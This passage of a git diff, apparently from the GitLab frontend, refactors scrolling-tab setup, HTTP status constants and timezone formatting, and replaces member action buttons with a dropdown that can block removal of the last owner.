+++ b/app/assets/javascripts/layout_nav.js
@@ -12,8 +12,45 @@ function hideEndFade($scrollingTabs) {
});
}
+export function initScrollingTabs() {
+ const $scrollingTabs = $('.scrolling-tabs').not('.is-initialized');
+ $scrollingTabs.addClass('is-initialized');
+
+ $(window)
+ .on('resize.nav', () => {
+ hideEndFade($scrollingTabs);
+ })
+ .trigger('resize.nav');
+
+ $scrollingTabs.on('scroll', function tabsScrollEvent() {
+ const $this = $(this);
+ const currentPosition = $this.scrollLeft();
+ const maxPosition = $this.prop('scrollWidth') - $this.outerWidth();
+
+ $this.siblings('.fade-left').toggleClass('scrolling', currentPosition > 0);
+ $this.siblings('.fade-right').toggleClass('scrolling', currentPosition < maxPosition - 1);
+ });
+
+ $scrollingTabs.each(function scrollTabsEachLoop() {
+ const $this = $(this);
+ const scrollingTabWidth = $this.width();
+ const $active = $this.find('.active');
+ const activeWidth = $active.width();
+
+ if ($active.length) {
+ const offset = $active.offset().left + activeWidth;
+
+ if (offset > scrollingTabWidth - 30) {
+ const scrollLeft = offset - scrollingTabWidth / 2 - activeWidth / 2;
+
+ $this.scrollLeft(scrollLeft);
+ }
+ }
+ });
+}
+
function initDeferred() {
- $(document).trigger('init.scrolling-tabs');
+ initScrollingTabs();
const appEl = document.getElementById('whats-new-app');
if (!appEl) return;
@@ -34,43 +71,5 @@ export default function initLayoutNav() {
initFlyOutNav();
- // We need to init it on DomContentLoaded as others could also call it
- $(document).on('init.scrolling-tabs', () => {
- const $scrollingTabs = $('.scrolling-tabs').not('.is-initialized');
- $scrollingTabs.addClass('is-initialized');
-
- $(window)
- .on('resize.nav', () => {
- hideEndFade($scrollingTabs);
- })
- .trigger('resize.nav');
-
- $scrollingTabs.on('scroll', function tabsScrollEvent() {
- const $this = $(this);
- const currentPosition = $this.scrollLeft();
- const maxPosition = $this.prop('scrollWidth') - $this.outerWidth();
-
- $this.siblings('.fade-left').toggleClass('scrolling', currentPosition > 0);
- $this.siblings('.fade-right').toggleClass('scrolling', currentPosition < maxPosition - 1);
- });
-
- $scrollingTabs.each(function scrollTabsEachLoop() {
- const $this = $(this);
- const scrollingTabWidth = $this.width();
- const $active = $this.find('.active');
- const activeWidth = $active.width();
-
- if ($active.length) {
- const offset = $active.offset().left + activeWidth;
-
- if (offset > scrollingTabWidth - 30) {
- const scrollLeft = offset - scrollingTabWidth / 2 - activeWidth / 2;
-
- $this.scrollLeft(scrollLeft);
- }
- }
- });
- });
-
requestIdleCallback(initDeferred);
}
diff --git a/app/assets/javascripts/lib/utils/common_utils.js b/app/assets/javascripts/lib/utils/common_utils.js
index 4ce63d518a6..241488c8039 100644
--- a/app/assets/javascripts/lib/utils/common_utils.js
+++ b/app/assets/javascripts/lib/utils/common_utils.js
@@ -142,7 +142,7 @@ export const getOuterHeight = (selector) => {
const element = document.querySelector(selector);
if (!element) {
- return undefined;
+ return 0;
}
return element.offsetHeight;
@@ -154,6 +154,11 @@ export const contentTop = () => {
() => getOuterHeight('#js-peek'),
() => getOuterHeight('.navbar-gitlab'),
({ desktop }) => {
+ const mrStickyHeader = document.querySelector('.merge-request-sticky-header');
+ if (mrStickyHeader) {
+ return mrStickyHeader.offsetHeight;
+ }
+
const container = document.querySelector('.discussions-counter');
let size = 0;
@@ -161,11 +166,12 @@ export const contentTop = () => {
size = container.offsetHeight;
}
+ size += getOuterHeight('.merge-request-tabs');
+ size += getOuterHeight('.issue-sticky-header.gl-fixed');
+
return size;
},
- () => getOuterHeight('.merge-request-sticky-header, .merge-request-tabs'),
() => getOuterHeight('.js-diff-files-changed'),
- () => getOuterHeight('.issue-sticky-header.gl-fixed'),
({ desktop }) => {
const diffsTabIsActive = window.mrTabs?.currentAction === 'diffs';
let size;
diff --git a/app/assets/javascripts/lib/utils/datetime/date_calculation_utility.js b/app/assets/javascripts/lib/utils/datetime/date_calculation_utility.js
index 4e0a59d0a38..9eb812b8694 100644
--- a/app/assets/javascripts/lib/utils/datetime/date_calculation_utility.js
+++ b/app/assets/javascripts/lib/utils/datetime/date_calculation_utility.js
@@ -531,7 +531,7 @@ export const getOverlappingDaysInPeriods = (givenPeriodLeft = {}, givenPeriodRig
/**
* Mimics the behaviour of the rails distance_of_time_in_words function
- * https://api.rubyonrails.org/v6.0.1/classes/ActionView/Helpers/DateHelper.html#method-i-distance_of_time_in_words
+ * https://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html#method-i-distance_of_time_in_words
* 0 < -> 29 secs => less than a minute
* 30 secs < -> 1 min, 29 secs => 1 minute
* 1 min, 30 secs < -> 44 mins, 29 secs => [2..44] minutes
diff --git a/app/assets/javascripts/lib/utils/datetime/date_format_utility.js b/app/assets/javascripts/lib/utils/datetime/date_format_utility.js
index 737c18d1bce..04a82836f69 100644
--- a/app/assets/javascripts/lib/utils/datetime/date_format_utility.js
+++ b/app/assets/javascripts/lib/utils/datetime/date_format_utility.js
@@ -414,21 +414,21 @@ export const durationTimeFormatted = (duration) => {
*
* @param {Number} offset UTC offset in seconds as a integer
*
- * @return {String} the + or - offset in hours, e.g. `- 10`, `0`, `+ 4`
+ * @return {String} the + or - offset in hours, e.g. `-10`, ` 0`, `+4`
*/
export const formatUtcOffset = (offset) => {
const parsed = parseInt(offset, 10);
if (Number.isNaN(parsed) || parsed === 0) {
- return `0`;
+ return ` 0`;
}
const prefix = offset > 0 ? '+' : '-';
- return `${prefix} ${Math.abs(offset / 3600)}`;
+ return `${prefix}${Math.abs(offset / 3600)}`;
};
/**
* Returns formatted timezone
*
* @param {Object} timezone item with offset and name
- * @returns {String} the UTC timezone with the offset, e.g. `[UTC + 2] Berlin`
+ * @returns {String} the UTC timezone with the offset, e.g. `[UTC+2] Berlin, [UTC 0] London`
*/
-export const formatTimezone = ({ offset, name }) => `[UTC ${formatUtcOffset(offset)}] ${name}`;
+export const formatTimezone = ({ offset, name }) => `[UTC${formatUtcOffset(offset)}] ${name}`;
diff --git a/app/assets/javascripts/lib/utils/http_status.js b/app/assets/javascripts/lib/utils/http_status.js
index ec0d8d433a5..678ebc35565 100644
--- a/app/assets/javascripts/lib/utils/http_status.js
+++ b/app/assets/javascripts/lib/utils/http_status.js
@@ -1,4 +1,5 @@
export const HTTP_STATUS_ABORTED = 0;
+export const HTTP_STATUS_OK = 200;
export const HTTP_STATUS_CREATED = 201;
export const HTTP_STATUS_ACCEPTED = 202;
export const HTTP_STATUS_NON_AUTHORITATIVE_INFORMATION = 203;
@@ -14,21 +15,15 @@ export const HTTP_STATUS_GONE = 410;
export const HTTP_STATUS_PAYLOAD_TOO_LARGE = 413;
export const HTTP_STATUS_UNPROCESSABLE_ENTITY = 422;
export const HTTP_STATUS_TOO_MANY_REQUESTS = 429;
-
-// TODO move the rest of the status codes to primitive constants
-// https://docs.gitlab.com/ee/development/fe_guide/style/javascript.html#export-constants-as-primitives
-const httpStatusCodes = {
- OK: 200,
- BAD_REQUEST: 400,
- UNAUTHORIZED: 401,
- FORBIDDEN: 403,
- NOT_FOUND: 404,
- INTERNAL_SERVER_ERROR: 500,
- SERVICE_UNAVAILABLE: 503,
-};
+export const HTTP_STATUS_BAD_REQUEST = 400;
+export const HTTP_STATUS_UNAUTHORIZED = 401;
+export const HTTP_STATUS_FORBIDDEN = 403;
+export const HTTP_STATUS_NOT_FOUND = 404;
+export const HTTP_STATUS_INTERNAL_SERVER_ERROR = 500;
+export const HTTP_STATUS_SERVICE_UNAVAILABLE = 503;
export const successCodes = [
- httpStatusCodes.OK,
+ HTTP_STATUS_OK,
HTTP_STATUS_CREATED,
HTTP_STATUS_ACCEPTED,
HTTP_STATUS_NON_AUTHORITATIVE_INFORMATION,
@@ -39,5 +34,3 @@ export const successCodes = [
HTTP_STATUS_ALREADY_REPORTED,
HTTP_STATUS_IM_USED,
];
-
-export default httpStatusCodes;
diff --git a/app/assets/javascripts/lib/utils/poll_until_complete.js b/app/assets/javascripts/lib/utils/poll_until_complete.js
index 3545db3a227..dbe54dceb52 100644
--- a/app/assets/javascripts/lib/utils/poll_until_complete.js
+++ b/app/assets/javascripts/lib/utils/poll_until_complete.js
@@ -1,5 +1,5 @@
import axios from '~/lib/utils/axios_utils';
-import httpStatusCodes from './http_status';
+import { HTTP_STATUS_OK } from './http_status';
import Poll from './poll';
/**
@@ -30,7 +30,7 @@ export default (url, config = {}) =>
data: { url, config },
method: 'axiosGet',
successCallback: (response) => {
- if (response.status === httpStatusCodes.OK) {
+ if (response.status === HTTP_STATUS_OK) {
resolve(response);
eTagPoll.stop();
}
diff --git a/app/assets/javascripts/locale/ensure_single_line.js b/app/assets/javascripts/locale/ensure_single_line.cjs
index c2c63777001..c2c63777001 100644
--- a/app/assets/javascripts/locale/ensure_single_line.js
+++ b/app/assets/javascripts/locale/ensure_single_line.cjs
diff --git a/app/assets/javascripts/locale/index.js b/app/assets/javascripts/locale/index.js
index ad01da2eb17..c1afabf1e35 100644
--- a/app/assets/javascripts/locale/index.js
+++ b/app/assets/javascripts/locale/index.js
@@ -1,5 +1,5 @@
import Jed from 'jed';
-import ensureSingleLine from './ensure_single_line';
+import ensureSingleLine from './ensure_single_line.cjs';
import sprintf from './sprintf';
const GITLAB_FALLBACK_LANGUAGE = 'en';
diff --git a/app/assets/javascripts/main.js b/app/assets/javascripts/main.js
index df3b55ed2ad..fd5c4abe729 100644
--- a/app/assets/javascripts/main.js
+++ b/app/assets/javascripts/main.js
@@ -30,6 +30,7 @@ import initLogoAnimation from './logo';
import initBreadcrumbs from './breadcrumb';
import initPersistentUserCallouts from './persistent_user_callouts';
import { initUserTracking, initDefaultTrackers } from './tracking';
+import { initSidebarTracking } from './pages/shared/nav/sidebar_tracking';
import initServicePingConsent from './service_ping_consent';
import GlFieldErrors from './gl_field_errors';
import initUserPopovers from './user_popovers';
@@ -99,10 +100,19 @@ function deferredInitialisation() {
initBroadcastNotifications();
initPersistentUserCallouts();
initDefaultTrackers();
+ initSidebarTracking();
initFeatureHighlight();
initCopyCodeButton();
initGitlabVersionCheck();
+ // Init super sidebar
+ if (gon.use_new_navigation) {
+ // eslint-disable-next-line promise/catch-or-return
+ import('./super_sidebar/super_sidebar_bundle').then(({ initSuperSidebar }) => {
+ initSuperSidebar();
+ });
+ }
+
addSelectOnFocusBehaviour('.js-select-on-focus');
const glTooltipDelay = localStorage.getItem('gl-tooltip-delay');
diff --git a/app/assets/javascripts/members/components/action_buttons/access_request_action_buttons.vue b/app/assets/javascripts/members/components/action_buttons/access_request_action_buttons.vue
index f4893721b9e..164fed308ff 100644
--- a/app/assets/javascripts/members/components/action_buttons/access_request_action_buttons.vue
+++ b/app/assets/javascripts/members/components/action_buttons/access_request_action_buttons.vue
@@ -49,8 +49,6 @@ export default {
:message="message"
:title="s__('Member|Deny access')"
:is-access-request="true"
- icon="close"
- button-category="primary"
/>
</div>
</action-button-group>
diff --git a/app/assets/javascripts/members/components/action_buttons/approve_access_request_button.vue b/app/assets/javascripts/members/components/action_buttons/approve_access_request_button.vue
index 112f722c632..90034f46e7c 100644
--- a/app/assets/javascripts/members/components/action_buttons/approve_access_request_button.vue
+++ b/app/assets/javascripts/members/components/action_buttons/approve_access_request_button.vue
@@ -40,7 +40,6 @@ export default {
:title="$options.title"
:aria-label="$options.title"
icon="check"
- variant="confirm"
type="submit"
/>
</gl-form>
diff --git a/app/assets/javascripts/members/components/action_buttons/invite_action_buttons.vue b/app/assets/javascripts/members/components/action_buttons/invite_action_buttons.vue
index ab9abfd38c6..91062c222f4 100644
--- a/app/assets/javascripts/members/components/action_buttons/invite_action_buttons.vue
+++ b/app/assets/javascripts/members/components/action_buttons/invite_action_buttons.vue
@@ -41,8 +41,6 @@ export default {
<remove-member-button
:member-id="member.id"
:message="message"
- icon="remove"
- button-category="primary"
:title="s__('Member|Revoke invite')"
is-invite
/>
diff --git a/app/assets/javascripts/members/components/action_buttons/leave_button.vue b/app/assets/javascripts/members/components/action_buttons/leave_button.vue
deleted file mode 100644
index f600a207b8d..00000000000
--- a/app/assets/javascripts/members/components/action_buttons/leave_button.vue
+++ /dev/null
@@ -1,40 +0,0 @@
-<script>
-import { GlButton, GlModalDirective, GlTooltipDirective } from '@gitlab/ui';
-import { __ } from '~/locale';
-import { LEAVE_MODAL_ID } from '../../constants';
-import LeaveModal from '../modals/leave_modal.vue';
-
-export default {
- name: 'LeaveButton',
- title: __('Leave'),
- modalId: LEAVE_MODAL_ID,
- components: {
- GlButton,
- LeaveModal,
- },
- directives: {
- GlModal: GlModalDirective,
- GlTooltip: GlTooltipDirective,
- },
- props: {
- member: {
- type: Object,
- required: true,
- },
- },
-};
-</script>
-
-<template>
- <div>
- <gl-button
- v-gl-tooltip.hover
- v-gl-modal="$options.modalId"
- :title="$options.title"
- :aria-label="$options.title"
- icon="leave"
- variant="danger"
- />
- <leave-modal :member="member" />
- </div>
-</template>
diff --git a/app/assets/javascripts/members/components/action_buttons/remove_group_link_button.vue b/app/assets/javascripts/members/components/action_buttons/remove_group_link_button.vue
index fef7940eaa2..24500fbe44d 100644
--- a/app/assets/javascripts/members/components/action_buttons/remove_group_link_button.vue
+++ b/app/assets/javascripts/members/components/action_buttons/remove_group_link_button.vue
@@ -32,7 +32,6 @@ export default {
<template>
<gl-button
v-gl-tooltip.hover
- variant="danger"
:title="$options.i18n.buttonTitle"
:aria-label="$options.i18n.buttonTitle"
icon="remove"
diff --git a/app/assets/javascripts/members/components/action_buttons/remove_member_button.vue b/app/assets/javascripts/members/components/action_buttons/remove_member_button.vue
index 27c67e84675..4b3bb89da55 100644
--- a/app/assets/javascripts/members/components/action_buttons/remove_member_button.vue
+++ b/app/assets/javascripts/members/components/action_buttons/remove_member_button.vue
@@ -14,34 +14,13 @@ export default {
type: Number,
required: true,
},
- memberType: {
- type: String,
- required: false,
- default: null,
- },
message: {
type: String,
required: true,
},
title: {
type: String,
- required: false,
- default: null,
- },
- icon: {
- type: String,
- required: false,
- default: undefined,
- },
- buttonText: {
- type: String,
- required: false,
- default: '',
- },
- buttonCategory: {
- type: String,
- required: false,
- default: 'secondary',
+ required: true,
},
isAccessRequest: {
type: Boolean,
@@ -70,7 +49,6 @@ export default {
isAccessRequest: this.isAccessRequest,
isInvite: this.isInvite,
memberPath: this.memberPath.replace(':id', this.memberId),
- memberType: this.memberType,
message: this.message,
userDeletionObstacles: this.userDeletionObstacles,
};
@@ -89,13 +67,10 @@ export default {
<template>
<gl-button
v-gl-tooltip
- variant="danger"
- :category="buttonCategory"
:title="title"
:aria-label="title"
- :icon="icon"
+ icon="remove"
data-qa-selector="delete_member_button"
@click="showRemoveMemberModal(modalData)"
- ><template v-if="buttonText">{{ buttonText }}</template></gl-button
- >
+ />
</template>
diff --git a/app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue b/app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue
deleted file mode 100644
index 122e0a142a9..00000000000
--- a/app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue
+++ /dev/null
@@ -1,95 +0,0 @@
-<script>
-import { __, s__, sprintf } from '~/locale';
-import { parseUserDeletionObstacles } from '~/vue_shared/components/user_deletion_obstacles/utils';
-import ActionButtonGroup from './action_button_group.vue';
-import LeaveButton from './leave_button.vue';
-import RemoveMemberButton from './remove_member_button.vue';
-
-export default {
- name: 'UserActionButtons',
- components: {
- ActionButtonGroup,
- RemoveMemberButton,
- LeaveButton,
- LdapOverrideButton: () =>
- import('ee_component/members/components/ldap/ldap_override_button.vue'),
- },
- props: {
- member: {
- type: Object,
- required: true,
- },
- isCurrentUser: {
- type: Boolean,
- required: true,
- },
- isInvitedUser: {
- type: Boolean,
- required: true,
- },
- permissions: {
- type: Object,
- required: true,
- },
- },
- computed: {
- message() {
- const { user, source } = this.member;
-
- if (user) {
- return sprintf(
- s__('Members|Are you sure you want to remove %{usersName} from "%{source}"?'),
- {
- usersName: user.name,
- source: source.fullName,
- },
- false,
- );
- }
-
- return sprintf(
- s__('Members|Are you sure you want to remove this orphaned member from "%{source}"?'),
- {
- source: source.fullName,
- },
- );
- },
- userDeletionObstaclesUserData() {
- return {
- name: this.member.user?.name,
- obstacles: parseUserDeletionObstacles(this.member.user),
- };
- },
- removeMemberButtonText() {
- return this.isInvitedUser ? null : __('Remove member');
- },
- removeMemberButtonIcon() {
- return this.isInvitedUser ? 'remove' : '';
- },
- removeMemberButtonCategory() {
- return this.isInvitedUser ? 'primary' : 'secondary';
- },
- },
-};
-</script>
-
-<template>
- <action-button-group>
- <div v-if="permissions.canRemove" class="gl-px-1">
- <leave-button v-if="isCurrentUser" :member="member" />
- <remove-member-button
- v-else
- :member-id="member.id"
- :member-type="member.type"
- :user-deletion-obstacles="userDeletionObstaclesUserData"
- :message="message"
- :icon="removeMemberButtonIcon"
- :button-text="removeMemberButtonText"
- :button-category="removeMemberButtonCategory"
- />
- </div>
- <div v-else-if="permissions.canOverride && !member.isOverridden" class="gl-px-1">
- <ldap-override-button :member="member" />
- </div>
- </action-button-group>
-</template>
diff --git a/app/assets/javascripts/members/components/action_dropdowns/constants.js b/app/assets/javascripts/members/components/action_dropdowns/constants.js
new file mode 100644
index 00000000000..8ccfc57dc28
--- /dev/null
+++ b/app/assets/javascripts/members/components/action_dropdowns/constants.js
@@ -0,0 +1,22 @@
+import { __, s__ } from '~/locale';
+
+export const I18N = {
+ actions: __('More actions'),
+ disableTwoFactor: s__('Members|Disable two-factor authentication'),
+ editPermissions: s__('Members|Edit permissions'),
+ leaveGroup: __('Leave group'),
+ removeMember: __('Remove member'),
+ confirmDisableTwoFactor: s__(
+ 'Members|Are you sure you want to disable the two-factor authentication for %{userName}?',
+ ),
+ confirmNormalUserRemoval: s__(
+ 'Members|Are you sure you want to remove %{userName} from "%{group}"?',
+ ),
+ confirmOrphanedUserRemoval: s__(
+ 'Members|Are you sure you want to remove this orphaned member from "%{group}"?',
+ ),
+ personalProjectOwnerCannotBeRemoved: s__("Members|A personal project's owner cannot be removed."),
+ lastGroupOwnerCannotBeRemoved: s__(
+ 'Members|A group must have at least one owner. To remove the member, assign a new owner.',
+ ),
+};
diff --git a/app/assets/javascripts/members/components/action_dropdowns/leave_group_dropdown_item.vue b/app/assets/javascripts/members/components/action_dropdowns/leave_group_dropdown_item.vue
new file mode 100644
index 00000000000..15606ad567c
--- /dev/null
+++ b/app/assets/javascripts/members/components/action_dropdowns/leave_group_dropdown_item.vue
@@ -0,0 +1,36 @@
+<script>
+import { GlDropdownItem, GlModalDirective } from '@gitlab/ui';
+import { LEAVE_MODAL_ID } from '../../constants';
+import LeaveModal from '../modals/leave_modal.vue';
+
+export default {
+ name: 'LeaveGroupDropdownItem',
+ modalId: LEAVE_MODAL_ID,
+ components: {
+ GlDropdownItem,
+ LeaveModal,
+ },
+ directives: {
+ GlModal: GlModalDirective,
+ },
+ props: {
+ member: {
+ type: Object,
+ required: true,
+ },
+ permissions: {
+ type: Object,
+ required: true,
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-dropdown-item v-gl-modal="$options.modalId">
+ <span class="gl-text-red-500">
+ <slot></slot>
+ </span>
+ <leave-modal :member="member" :permissions="permissions" />
+ </gl-dropdown-item>
+</template>
diff --git a/app/assets/javascripts/members/components/action_dropdowns/remove_member_dropdown_item.vue b/app/assets/javascripts/members/components/action_dropdowns/remove_member_dropdown_item.vue
new file mode 100644
index 00000000000..f224aaa31f7
--- /dev/null
+++ b/app/assets/javascripts/members/components/action_dropdowns/remove_member_dropdown_item.vue
@@ -0,0 +1,86 @@
+<script>
+import { GlDropdownItem } from '@gitlab/ui';
+import { mapActions, mapState } from 'vuex';
+
+export default {
+ name: 'RemoveMemberDropdownItem',
+ components: { GlDropdownItem },
+ inject: ['namespace'],
+ props: {
+ memberId: {
+ type: Number,
+ required: true,
+ },
+ /**
+ * `GroupMember` (`app/models/members/group_member.rb`)
+ * or
+ * `ProjectMember` (`app/models/members/project_member.rb`).
+ */
+ memberModelType: {
+ type: String,
+ required: false,
+ default: null,
+ },
+ modalMessage: {
+ type: String,
+ required: true,
+ },
+ isAccessRequest: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ isInvite: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ userDeletionObstacles: {
+ type: Object,
+ required: false,
+ default: () => ({}),
+ },
+ preventRemoval: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ computed: {
+ ...mapState({
+ memberPath(state) {
+ return state[this.namespace].memberPath;
+ },
+ }),
+ modalData() {
+ return {
+ isAccessRequest: this.isAccessRequest,
+ isInvite: this.isInvite,
+ memberPath: this.memberPath.replace(':id', this.memberId),
+ memberModelType: this.memberModelType,
+ message: this.modalMessage,
+ userDeletionObstacles: this.userDeletionObstacles,
+ preventRemoval: this.preventRemoval,
+ };
+ },
+ },
+ methods: {
+ ...mapActions({
+ showRemoveMemberModal(dispatch, payload) {
+ return dispatch(`${this.namespace}/showRemoveMemberModal`, payload);
+ },
+ }),
+ },
+};
+</script>
+
+<template>
+ <gl-dropdown-item
+ data-qa-selector="delete_member_dropdown_item"
+ @click="showRemoveMemberModal(modalData)"
+ >
+ <span class="gl-text-red-500">
+ <slot></slot>
+ </span>
+ </gl-dropdown-item>
+</template>
diff --git a/app/assets/javascripts/members/components/action_dropdowns/user_action_dropdown.vue b/app/assets/javascripts/members/components/action_dropdowns/user_action_dropdown.vue
new file mode 100644
index 00000000000..8f5c32956a2
--- /dev/null
+++ b/app/assets/javascripts/members/components/action_dropdowns/user_action_dropdown.vue
@@ -0,0 +1,134 @@
+<script>
+import { GlDropdown, GlTooltipDirective } from '@gitlab/ui';
+import { sprintf } from '~/locale';
+import { parseUserDeletionObstacles } from '~/vue_shared/components/user_deletion_obstacles/utils';
+import {
+ MEMBER_MODEL_TYPE_GROUP_MEMBER,
+ MEMBER_MODEL_TYPE_PROJECT_MEMBER,
+} from '~/members/constants';
+import { I18N } from './constants';
+import LeaveGroupDropdownItem from './leave_group_dropdown_item.vue';
+import RemoveMemberDropdownItem from './remove_member_dropdown_item.vue';
+
+export default {
+ name: 'UserActionDropdown',
+ i18n: I18N,
+ components: {
+ GlDropdown,
+ DisableTwoFactorDropdownItem: () =>
+ import(
+ 'ee_component/members/components/action_dropdowns/disable_two_factor_dropdown_item.vue'
+ ),
+ LdapOverrideDropdownItem: () =>
+ import('ee_component/members/components/ldap/ldap_override_dropdown_item.vue'),
+ LeaveGroupDropdownItem,
+ RemoveMemberDropdownItem,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ member: {
+ type: Object,
+ required: true,
+ },
+ isCurrentUser: {
+ type: Boolean,
+ required: true,
+ },
+ permissions: {
+ type: Object,
+ required: true,
+ },
+ },
+ computed: {
+ modalDisableTwoFactor() {
+ const userName = this.member.user.username;
+ return sprintf(this.$options.i18n.confirmDisableTwoFactor, { userName }, false);
+ },
+ modalRemoveUser() {
+ const { user, source } = this.member;
+
+ if (this.permissions.canRemoveBlockedByLastOwner) {
+ if (this.member.type === MEMBER_MODEL_TYPE_PROJECT_MEMBER) {
+ return I18N.personalProjectOwnerCannotBeRemoved;
+ }
+
+ if (this.member.type === MEMBER_MODEL_TYPE_GROUP_MEMBER) {
+ return I18N.lastGroupOwnerCannotBeRemoved;
+ }
+ }
+
+ if (user) {
+ return sprintf(
+ this.$options.i18n.confirmNormalUserRemoval,
+ { userName: user.name, group: source.fullName },
+ false,
+ );
+ }
+
+ return sprintf(this.$options.i18n.confirmOrphanedUserRemoval, { group: source.fullName });
+ },
+ userDeletionObstaclesUserData() {
+ return {
+ name: this.member.user?.name,
+ obstacles: parseUserDeletionObstacles(this.member.user),
+ };
+ },
+ showDropdown() {
+ return (
+ this.permissions.canDisableTwoFactor || this.showLeaveOrRemove || this.showLdapOverride
+ );
+ },
+ showLeaveOrRemove() {
+ return this.permissions.canRemove || this.permissions.canRemoveBlockedByLastOwner;
+ },
+ showLdapOverride() {
+ return this.permissions.canOverride && !this.member.isOverridden;
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-dropdown
+ v-if="showDropdown"
+ v-gl-tooltip="$options.i18n.actions"
+ :text="$options.i18n.actions"
+ text-sr-only
+ icon="ellipsis_v"
+ category="tertiary"
+ no-caret
+ right
+ data-testid="user-action-dropdown"
+ data-qa-selector="user_action_dropdown"
+ >
+ <disable-two-factor-dropdown-item
+ v-if="permissions.canDisableTwoFactor"
+ :modal-message="modalDisableTwoFactor"
+ :user-id="member.user.id"
+ >
+ {{ $options.i18n.disableTwoFactor }}
+ </disable-two-factor-dropdown-item>
+
+ <template v-if="showLeaveOrRemove">
+ <leave-group-dropdown-item v-if="isCurrentUser" :member="member" :permissions="permissions">{{
+ $options.i18n.leaveGroup
+ }}</leave-group-dropdown-item>
+
+ <remove-member-dropdown-item
+ v-else
+ :member-id="member.id"
+ :member-model-type="member.type"
+ :user-deletion-obstacles="userDeletionObstaclesUserData"
+ :modal-message="modalRemoveUser"
+ :prevent-removal="permissions.canRemoveBlockedByLastOwner"
+ >{{ $options.i18n.removeMember }}</remove-member-dropdown-item
+ >
+ </template>
+
+ <ldap-override-dropdown-item v-else-if="showLdapOverride" :member="member">{{
+ $options.i18n.editPermissions
+ }}</ldap-override-dropdown-item>
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/members/components/modals/leave_modal.vue b/app/assets/javascripts/members/components/modals/leave_modal.vue
index e39669e17dd..8bc6aca9cc1 100644
--- a/app/assets/javascripts/members/components/modals/leave_modal.vue
+++ b/app/assets/javascripts/members/components/modals/leave_modal.vue
@@ -5,22 +5,30 @@ import csrf from '~/lib/utils/csrf';
import { __, s__, sprintf } from '~/locale';
import UserDeletionObstaclesList from '~/vue_shared/components/user_deletion_obstacles/user_deletion_obstacles_list.vue';
import { parseUserDeletionObstacles } from '~/vue_shared/components/user_deletion_obstacles/utils';
-import { LEAVE_MODAL_ID } from '../../constants';
+import {
+ LEAVE_MODAL_ID,
+ MEMBER_MODEL_TYPE_GROUP_MEMBER,
+ MEMBER_MODEL_TYPE_PROJECT_MEMBER,
+} from '../../constants';
export default {
name: 'LeaveModal',
actionCancel: {
text: __('Cancel'),
},
- actionPrimary: {
- text: __('Leave'),
- attributes: {
- variant: 'danger',
- },
- },
csrf,
modalId: LEAVE_MODAL_ID,
- modalContent: s__('Members|Are you sure you want to leave "%{source}"?'),
+ i18n: {
+ title: s__('Members|Leave "%{source}"'),
+ body: s__('Members|Are you sure you want to leave "%{source}"?'),
+ preventedTitle: s__('Members|Cannot leave "%{source}"'),
+ preventedBodyProjectMemberModelType: s__(
+ 'Members|You cannot remove yourself from a personal project.',
+ ),
+ preventedBodyGroupMemberModelType: s__(
+ 'Members|A group must have at least one owner. To leave this group, assign a new owner.',
+ ),
+ },
components: { GlModal, GlForm, GlSprintf, UserDeletionObstaclesList },
directives: {
GlTooltip: GlTooltipDirective,
@@ -31,6 +39,10 @@ export default {
type: Object,
required: true,
},
+ permissions: {
+ type: Object,
+ required: true,
+ },
},
computed: {
...mapState({
@@ -42,7 +54,35 @@ export default {
return this.memberPath.replace(/:id$/, 'leave');
},
modalTitle() {
- return sprintf(s__('Members|Leave "%{source}"'), { source: this.member.source.fullName });
+ return sprintf(
+ this.permissions.canRemoveBlockedByLastOwner
+ ? this.$options.i18n.preventedTitle
+ : this.$options.i18n.title,
+ { source: this.member.source.fullName },
+ );
+ },
+ preventedModalBody() {
+ if (this.member.type === MEMBER_MODEL_TYPE_PROJECT_MEMBER) {
+ return this.$options.i18n.preventedBodyProjectMemberModelType;
+ }
+
+ if (this.member.type === MEMBER_MODEL_TYPE_GROUP_MEMBER) {
+ return this.$options.i18n.preventedBodyGroupMemberModelType;
+ }
+
+ return null;
+ },
+ actionPrimary() {
+ if (this.permissions.canRemoveBlockedByLastOwner) {
+ return null;
+ }
+
+ return {
+ text: __('Leave'),
+ attributes: {
+ variant: 'danger',
+ },
+ };
},
obstacles() {
return parseUserDeletionObstacles(this.member.user);
@@ -64,13 +104,14 @@ export default {
v-bind="$attrs"
:modal-id="$options.modalId"
:title="modalTitle"
- :action-primary="$options.actionPrimary"
+ :action-primary="actionPrimary"
:action-cancel="$options.actionCancel"
@primary="handlePrimary"
>
<gl-form ref="form" :action="leavePath" method="post">
<p>
- <gl-sprintf :message="$options.modalContent">
+ <template v-if="permissions.canRemoveBlockedByLastOwner">{{ preventedModalBody }}</template>
+ <gl-sprintf v-else :message="$options.i18n.body">
<template #source>{{ member.source.fullName }}</template>
</gl-sprintf>
</p>
diff --git a/app/assets/javascripts/members/components/modals/remove_member_modal.vue b/app/assets/javascripts/members/components/modals/remove_member_modal.vue
index 1bb1f90302c..337379d8b4e 100644
--- a/app/assets/javascripts/members/components/modals/remove_member_modal.vue
+++ b/app/assets/javascripts/members/components/modals/remove_member_modal.vue
@@ -4,6 +4,7 @@ import { mapActions, mapState } from 'vuex';
import csrf from '~/lib/utils/csrf';
import { s__, __ } from '~/locale';
import UserDeletionObstaclesList from '~/vue_shared/components/user_deletion_obstacles/user_deletion_obstacles_list.vue';
+import { MEMBER_MODEL_TYPE_GROUP_MEMBER } from '../../constants';
export default {
actionCancel: {
@@ -27,8 +28,13 @@ export default {
memberPath(state) {
return state[this.namespace].removeMemberModalData.memberPath;
},
- memberType(state) {
- return state[this.namespace].removeMemberModalData.memberType;
+ /**
+ * `GroupMember` (`app/models/members/group_member.rb`)
+ * or
+ * `ProjectMember` (`app/models/members/project_member.rb`).
+ */
+ memberModelType(state) {
+ return state[this.namespace].removeMemberModalData.memberModelType;
},
message(state) {
return state[this.namespace].removeMemberModalData.message;
@@ -36,12 +42,15 @@ export default {
userDeletionObstacles(state) {
return state[this.namespace].removeMemberModalData.userDeletionObstacles ?? {};
},
+ preventRemoval(state) {
